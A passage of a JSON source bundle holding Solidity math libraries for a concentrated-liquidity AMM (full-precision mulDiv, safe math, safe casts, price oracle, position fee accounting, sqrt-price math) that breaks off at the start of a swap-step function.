256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2**256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2**256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2**256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2**256 such that denominator * inv = 1 mod 2**256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator * inv = 1 mod 2**4\n uint256 inv = (3 * denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv *= 2 - denominator * inv; // inverse mod 2**8\n inv *= 2 - denominator * inv; // inverse mod 2**16\n inv *= 2 - denominator * inv; // inverse mod 2**32\n inv *= 2 - denominator * inv; // inverse mod 2**64\n inv *= 2 - denominator * inv; // inverse mod 2**128\n inv *= 2 - denominator * inv; // inverse mod 2**256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2**256. Since the precoditions guarantee\n // that the outcome is less than 2**256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n"
},
"contracts/libraries/LiquidityMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n"
},
"contracts/libraries/LowGasSafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x * y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 || (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n"
},
"contracts/libraries/Oracle.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0 <0.8.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) = getSurroundingObservations(\n self,\n time,\n target,\n tick,\n index,\n liquidity,\n cardinality\n );\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *\n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n"
},
"contracts/libraries/Position.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0 <0.8.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 = uint128(\n FullMath.mulDiv(feeGrowthInside0X128 - _self.feeGrowthInside0LastX128, _self.liquidity, FixedPoint128.Q128)\n );\n uint128 tokensOwed1 = uint128(\n FullMath.mulDiv(feeGrowthInside1X128 - _self.feeGrowthInside1LastX128, _self.liquidity, FixedPoint128.Q128)\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 || tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n"
},
"contracts/libraries/SafeCast.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2**255);\n z = int256(y);\n }\n}\n"
},
"contracts/libraries/SqrtPriceMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient = (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient = (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n"
},
"contracts/libraries/SwapMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 